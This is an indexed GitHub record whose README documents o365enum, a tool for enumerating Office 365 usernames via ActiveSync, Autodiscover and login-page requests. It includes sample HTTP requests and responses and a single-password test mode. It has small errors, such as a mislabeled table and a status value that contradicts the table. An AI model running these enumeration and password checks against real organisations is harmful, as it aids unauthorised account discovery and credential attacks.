{"id":13788144,"url":"https://github.com/gremwell/o365enum","last_synced_at":"2025-04-07T19:13:01.288Z","repository":{"id":52609633,"uuid":"241354388","full_name":"gremwell/o365enum","owner":"gremwell","description":"Enumerate valid usernames from Office 365 using ActiveSync, Autodiscover v1, or office.com login page.","archived":false,"fork":false,"pushed_at":"2024-05-02T07:45:31.000Z","size":34,"stargazers_count":265,"open_issues_count":2,"forks_count":39,"subscribers_count":7,"default_branch":"master","last_synced_at":"2025-03-31T18:21:17.010Z","etag":null,"topics":["office365","security","user-enumeration"],"latest_commit_sha":null,"homepage":"https://www.gremwell.com/blog/office365-user-enumeration","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/gremwell.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-02-18T12:22:50.000Z","updated_at":"2025-03-28T01:17:02.000Z","dependencies_parsed_at":"2024-08-03T21:01:51.552Z","dependency_job_id":"2c82390c-b50a-442c-9b8c-0da0e85ce94d","html_url":"https://github.com/gremwell/o365enum","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gremwell%2Fo365enum","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gremwell%2Fo365enum/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gremwell%2Fo365enum/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gremwell%2Fo365enum/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/gremwell","download_url":"https://codeload.github.com/gremwell/o365enum/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247713258,"owners_count":20983683,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["office365","security","user-enumeration"],"created_at":"2024-08-03T21:00:37.515Z","updated_at":"2025-04-07T19:13:00.942Z","avatar_url":"https://github.com/gremwell.png","language":"Python","funding_links":[],"categories":["Tools","Username Enumeration"],"sub_categories":["Enumeration"],"readme":"# Office 365 User Enumeration\n\nEnumerate valid usernames from Office 365 using ActiveSync, Autodiscover, or office.com login page.\n\n## Usage\n\no365enum will read usernames from the file provided as first parameter. The file should have one username per line. The output is CSV-based for easier parsing. Valid status can be 0 (invalid user), 1 (valid user), 2 (valid user and valid password).\n\n```\npython3.6 o365enum.py -h\nusage: o365enum.py [-h] -u USERLIST [-p PASSWORD] [-n NUM] [-v]\n                   [-m {activesync,autodiscover,office.com}]\n\nOffice365 User Enumeration Script\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -u USERLIST, --userlist USERLIST\n                        username list one per line (default: None)\n  -p PASSWORD, --password PASSWORD\n                        password to try (default: Password1)\n  -n NUM, --num NUM     # of reattempts to remove false negatives (default: 3)\n  -v, --verbose         Enable verbose output at urllib level (default: False)\n  -m {activesync,autodiscover,office.com}, --method {activesync,autodiscover,office.com}\n                        method to use (default: activesync)\n```\n\nExample run:\n\n```\n./o365enum.py -u users.txt -p Password2 -n 1 -m activesync\nusername,valid\nnonexistent@contoso.com,0\nexisting@contoso.com,1\n```\n\n## Enumeration Methods\n\n### ActiveSync Enumeration\n\nThis method is based on grimhacker's [method](https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/) that sends Basic HTTP authentication requests to ActiveSync endpoint. However, **checking the status code no longer works given that Office365 returns a 401 whether the user exists or not**.\n\nInstead, we send the same request but check for a custom HTTP response header (`X-MailboxGuid`) presence to identify whether a username is valid or not.\n\n#### Existing Account\n\nThe request below contains the following Base64 encoded credentials in the Authorization header: valid_user@contoso.com:Password1\n\n```\nOPTIONS /Microsoft-Server-ActiveSync HTTP/1.1\nHost: outlook.office365.com\nConnection: close\nMS-ASProtocolVersion: 14.0\nContent-Length: 0\nAuthorization: Basic dmFsaWRfdXNlckBjb250b3NvLmNvbTpQYXNzd29yZDE=\n```\n\n\nThis elicits the following response (\"401 Unauthorized\") with the `X-MailboxGuid` header set, indicating that the username is valid but the password is not:\n\n```\nDate: Fri, 31 Jan 2020 13:02:46 GMT\nConnection: close\nHTTP/1.1 401 Unauthorized\nContent-Length: 1293\nContent-Type: text/html\nServer: Microsoft-IIS/10.0\nrequest-id: d494a4bc-3867-436a-93ef-737f9e0522eb\nX-CalculatedBETarget: AM0PR09MB2882.eurprd09.prod.outlook.com\nX-BackEndHttpStatus: 401\nX-RUM-Validated: 1\nX-MailboxGuid: aadaf467-cd08-4a23-909b-9702eca5b845 \u003c--- This header leaks the account status (existing)\nX-DiagInfo: AM0PR09MB2882\nX-BEServer: AM0PR09MB2882\nX-Proxy-RoutingCorrectness: 1\nX-Proxy-BackendServerStatus: 401\nX-Powered-By: ASP.NET\nX-FEServer: AM0PR06CA0096\nWWW-Authenticate: Basic Realm=\"\",Negotiate\nDate: Fri, 31 Jan 2020 13:02:46 GMT\nConnection: close\n\n--snip--\n```\n\n#### Nonexistent Account\n\nThe request below contains the following Base64 encoded credentials in the Authorization header: invalid_user@contoso.com:Password1\n\n```\nOPTIONS /Microsoft-Server-ActiveSync HTTP/1.1\nHost: outlook.office365.com\nConnection: close\nMS-ASProtocolVersion: 14.0\nContent-Length: 2\nAuthorization: Basic aW52YWxpZF91c2VyQGNvbnRvc28uY29tOlBhc3N3b3JkMQ==\n```\n\nThis elicits the following response (\"401 Unauthorized\" but this time without the `X-MailboxGuid` header, indicating the username is invalid.\n\n```\nHTTP/1.1 401 Unauthorized\nContent-Length: 1293\nContent-Type: text/html\nServer: Microsoft-IIS/10.0\nrequest-id: 2944dbfc-8a1e-4759-a8a2-e4568950601d\nX-CalculatedFETarget: DB3PR0102CU001.internal.outlook.com\nX-BackEndHttpStatus: 401\nWWW-Authenticate: Basic Realm=\"\",Negotiate\nX-FEProxyInfo: DB3PR0102CA0017.EURPRD01.PROD.EXCHANGELABS.COM\nX-CalculatedBETarget: DB7PR04MB5452.eurprd04.prod.outlook.com\nX-BackEndHttpStatus: 401\nX-RUM-Validated: 1\nX-DiagInfo: DB7PR04MB5452\nX-BEServer: DB7PR04MB5452\nX-Proxy-RoutingCorrectness: 1\nX-Proxy-BackendServerStatus: 401\nX-FEServer: DB3PR0102CA0017\nX-Powered-By: ASP.NET\nX-FEServer: AM0PR04CA0024\nDate: Fri, 31 Jan 2020 16:19:11 GMT\nConnection: close\n\n--snip--\n```\n\n### Autodiscover Enumeration\n\nThe autodiscover endpoint allows for user enumeration without an authentication attempt. The endpoint returns a 200 status code if the user exists and a 302 if the user does not exists (unless the redirection is made to an on-premise Exchange server).\n\n#### Existing User\n\n```\nGET /autodiscover/autodiscover.json/v1.0/existing@contoso.com?Protocol=Autodiscoverv1 HTTP/1.1\nHost: outlook.office365.com\nUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.12026; Pro\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: close\nMS-ASProtocolVersion: 14.0\n```\n\n```\nHTTP/1.1 200 OK\nCache-Control: private\nContent-Length: 97\nContent-Type: application/json; charset=utf-8\nVary: Accept-Encoding\nServer: Microsoft-IIS/10.0\nrequest-id: fee7f899-7115-43da-9d34-d3ee19920a89\nX-CalculatedBETarget: AM0PR09MB2882.eurprd09.prod.outlook.com\nX-BackEndHttpStatus: 200\nX-RUM-Validated: 1\nX-AspNet-Version: 4.0.30319\nX-DiagInfo: AM0PR09MB2882\nX-BEServer: AM0PR09MB2882\nX-Proxy-RoutingCorrectness: 1\nX-Proxy-BackendServerStatus: 200\nX-Powered-By: ASP.NET\nX-FEServer: AM0PR0202CA0008\nDate: Mon, 02 Mar 2020 12:50:48 GMT\nConnection: close\n\n{\"Protocol\":\"Autodiscoverv1\",\"Url\":\"https://outlook.office365.com/autodiscover/autodiscover.xml\"}\n```\n\n#### Nonexistent User\n\n```\nGET /autodiscover/autodiscover.json/v1.0/nonexistent@contoso.com?Protocol=Autodiscoverv1 HTTP/1.1\nHost: outlook.office365.com\nUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.12026; Pro\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: close\nMS-ASProtocolVersion: 14.0\n```\n\n```\nHTTP/1.1 302 Found\nCache-Control: private\nContent-Length: 277\nContent-Type: text/html; charset=utf-8\nLocation: https://outlook.office365.com/autodiscover/autodiscover.json?Email=nonexistent%40contoso.com\u0026Protocol=Autodiscoverv1\u0026RedirectCount=1\nServer: Microsoft-IIS/10.0\nrequest-id: 1c50adeb-53ac-41b9-9c34-7045cffbae45\nX-CalculatedBETarget: DB6PR0202MB2568.eurprd02.prod.outlook.com\nX-BackEndHttpStatus: 302\nX-RUM-Validated: 1\nX-AspNet-Version: 4.0.30319\nX-DiagInfo: DB6PR0202MB2568\nX-BEServer: DB6PR0202MB2568\nX-Proxy-RoutingCorrectness: 1\nX-Proxy-BackendServerStatus: 302\nX-Powered-By: ASP.NET\nX-FEServer: AM0PR0202CA0013\nDate: Mon, 02 Mar 2020 12:50:50 GMT\nConnection: close\n\n\u003chtml\u003e\u003chead\u003e\u003ctitle\u003eObject moved\u003c/title\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch2\u003eObject moved to \u003ca href=\"https://outlook.office365.com/autodiscover/autodiscover.json?Email=nonexistent%40contoso.com\u0026amp;Protocol=Autodiscoverv1\u0026amp;RedirectCount=1\"\u003ehere\u003c/a\u003e.\u003c/h2\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\n\n### Office.com Enumeration\n\n**WARNING**: This method only works for organization that are subscribers of Exchange Online and that do not have on-premise or hybrid deployment of Exchange server.\n\nFor companies that use on premise Exchange servers or some hybrid deployment and based on some configuration I haven't identified yet, the server might return a value indicating the username exists for any username value.\n\nThe method is useful when you don't want to burn an authentication attempt with 'Password1' :)\n\n#### Determining if a user exists\n\nThe IfExistsResult property is used to describe if and how an account exists. As discussed on this [RSM blog article](https://warroom.rsmus.com/enumerating-emails-via-office-com/), the values are as follows:\n\n| Item         | Price     |\n|--------------|-----------|\n| -1 | An unknown error |\n| 0 | The account exists, and uses that domain for authentication |\n| 1 | The account doesn’t exist |\n| 2 | The response is being throttled |\n| 4 | Some server error |\n| 5 | The account exists, but is set up to authenticate with a different identity provider. This could indicate the account is only used as a personal account |\n| 6 | The account exists, and is set up to use both the domain and a different identity provider |\n\n##### Existing User\n\nWhen the account exists, `IfExistsResult` is set to one of the integers mentioned above, commonly `1`.\n\n```\nPOST /common/GetCredentialType?mkt=en-US HTTP/1.1\nHost: login.microsoftonline.com\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36\nAccept: application/json\nConnection: close\nclient-request-id: 4345a7b9-9a63-4910-a426-35363201d503\nhpgrequestid: 23975ac9-f51c-443a-8318-db006fd83100\nReferer: https://login.microsoftonline.com/common/oauth2/authorize\ncanary: --snip--\nhpgact: 1800\nhpgid: 1104\nOrigin: https://login.microsoftonline.com\nCookie: --snip--\nContent-Length: 1255\nContent-Type: application/json\n\n{\n    \"checkPhones\": false,\n    \"isOtherIdpSupported\": true,\n    \"isRemoteNGCSupported\": true,\n    \"federationFlags\": 0,\n    \"isCookieBannerShown\": false,\n    \"isRemoteConnectSupported\": false,\n    \"isSignup\": false,\n    \"originalRequest\": \"rQIIA--snip--YWSO2\",\n    \"isAccessPassSupported\": true,\n    \"isFidoSupported\": false,\n    \"isExternalFederationDisallowed\": false,\n    \"username\": \"existing@contoso.com\",\n    \"forceotclogin\": false\n}\n```\n\n```\nHTTP/1.1 200 OK\nCache-Control: no-cache, no-store\nPragma: no-cache\nContent-Type: application/json; charset=utf-8\nExpires: -1\nStrict-Transport-Security: max-age=31536000; includeSubDomains\nX-Content-Type-Options: nosniff\nclient-request-id: 177110da-7ce4-4880-b856-be6326078046\nx-ms-request-id: c708b83f-4167-4b4c-a1db-d2011ecb3200\nx-ms-ests-server: 2.1.9966.8 - AMS2 ProdSlices\nReferrer-Policy: strict-origin-when-cross-origin\nP3P: CP=\"DSP CUR OTPi IND OTRi ONL FIN\"\nSet-Cookie: fpc=ArU-Dva0f59Eg4t_V3VsX_TsYIXWAQAAAFRGxtUOAAAA; expires=Sun, 01-Mar-2020 16:01:26 GMT; path=/; secure; HttpOnly; SameSite=None\nSet-Cookie: x-ms-gateway-slice=prod; path=/; SameSite=None; secure; HttpOnly\nSet-Cookie: stsservicecookie=ests; path=/; secure; HttpOnly; SameSite=None\nDate: Fri, 31 Jan 2020 16:01:26 GMT\nConnection: close\nContent-Length: 587\n\n{\n    \"Username\":\"existing@contoso.com\",\n    \"Display\":\"existing@contoso.com\",\n    \"IfExistsResult\":0,\n    \"ThrottleStatus\":0,\n    \"Credentials\":{\n        \"PrefCredential\":1,\n        \"HasPassword\":true,\n        \"RemoteNgcParams\":null,\n        \"FidoParams\":null,\n        \"SasParams\":null\n    },\n    \"EstsProperties\":{\n        \"UserTenantBranding\":null,\n        \"DomainType\":3\n    },\n    \"IsSignupDisallowed\":true,\n    \"apiCanary\":\"--snip--\"\n}\n```\n\n##### Nonexistent User\n\nWhen the account does not exist, `IfExistsResult` is set to 1.\n\n```\nPOST /common/GetCredentialType?mkt=en-US HTTP/1.1\nHost: login.microsoftonline.com\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36\nAccept: application/json\nConnection: close\nclient-request-id: 4345a7b9-9a63-4910-a426-35363201d503\nhpgrequestid: 23975ac9-f51c-443a-8318-db006fd83100\nReferer: https://login.microsoftonline.com/common/oauth2/authorize\ncanary: --snip--\nhpgact: 1800\nhpgid: 1104\nOrigin: https://login.microsoftonline.com\nCookie: --snip--\nContent-Length: 1255\nContent-Type: application/json\n\n{\n    \"checkPhones\": false,\n    \"isOtherIdpSupported\": true,\n    \"isRemoteNGCSupported\": true,\n    \"federationFlags\": 0,\n    \"isCookieBannerShown\": false,\n    \"isRemoteConnectSupported\": false,\n    \"isSignup\": false,\n    \"originalRequest\": \"rQIIA--snip--YWSO2\",\n    \"isAccessPassSupported\": true,\n    \"isFidoSupported\": false,\n    \"isExternalFederationDisallowed\": false,\n    \"username\": \"nonexistent@contoso.com\",\n    \"forceotclogin\": false\n}\n```\n\n```\nHTTP/1.1 200 OK\nCache-Control: no-cache, no-store\nPragma: no-cache\nContent-Type: application/json; charset=utf-8\nExpires: -1\nStrict-Transport-Security: max-age=31536000; includeSubDomains\nX-Content-Type-Options: nosniff\nclient-request-id: 95bba645-c3b0-4566-b0f4-237bd3df2ca7\nx-ms-request-id: fea01b74-7a60-4142-a54d-7aa8f6471c00\nx-ms-ests-server: 2.1.9987.14 - WEULR2 ProdSlices\nReferrer-Policy: strict-origin-when-cross-origin\nP3P: CP=\"DSP CUR OTPi IND OTRi ONL FIN\"\nSet-Cookie: fpc=Ai0TKYuyz3BCp7OL29pUnG7sYIXWAQAAABsDztUOAAAA; expires=Sat, 07-Mar-2020 12:57:44 GMT; path=/; secure; HttpOnly; SameSite=None\nSet-Cookie: x-ms-gateway-slice=estsfd; path=/; SameSite=None; secure; HttpOnly\nSet-Cookie: stsservicecookie=ests; path=/; secure; HttpOnly; SameSite=None\nDate: Thu, 06 Feb 2020 12:57:43 GMT\nConnection: close\nContent-Length: 579\n\n\n{\n    \"ThrottleStatus\": 0,\n    \"apiCanary\": \"--snip--\",\n    \"Username\": \"nonexistent@contoso.com\",\n    \"IfExistsResult\": 1,\n    \"EstsProperties\": {\n        \"UserTenantBranding\": null,\n        \"DomainType\": 3\n    },\n    \"Credentials\": {\n        \"PrefCredential\": 1,\n        \"FidoParams\": null,\n        \"RemoteNgcParams\": null,\n        \"SasParams\": null,\n        \"HasPassword\": true\n    },\n    \"IsSignupDisallowed\": true,\n    \"Display\": \"nonexistent@contoso.com\"\n}\n```\n\n## Contributors\n\n* [@jenic](https://github.com/jenic) - Arguments parsing and false negative reduction.\n* [@Mike-Crowley](https://github.com/Mike-Crowley) - IfExistsResult description correction.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fgremwell%2Fo365enum","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fgremwell%2Fo365enum","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fgremwell%2Fo365enum/lists"}